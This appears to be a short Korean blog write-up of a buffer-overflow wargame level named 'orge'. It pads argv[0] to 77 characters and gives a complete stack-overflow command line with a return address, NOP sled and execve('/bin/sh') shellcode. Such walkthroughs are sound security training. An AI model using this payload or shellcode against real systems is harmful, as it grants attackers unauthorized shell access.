들어가는 말을 포멧으로 만들던가 해야지 매번 할말이 없다.
코드나 보자
대놓고 '여기가 바뀜'이라고 해놨다.
( 나머진 똑같으니 생략했다. )
argb[0]이 77개가 되야된다.
./orge
이걸 어떻게 77개로 만들까 하니
././././././././././././././././././././././././././././././././././././/orge
이것밖엔 생각이 안나서 이대로 해보았다.
argv[0]을 77개로, 나머지는 저번 문제와 동일하게 테스트했다.
argv[2]가 저장되는 주소가 0xbffffba4로 확인되었다.
RET에 넣을 주소를 확인했으니 payload를 만들어보자
././././././././././././././././././././././././././././././././././././/orge `python -c 'print "A"*44 + "\xc0\xfb\xff\xbf " + "\x90"*300 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
마무리도 멘트를 정하던지 해야겠다...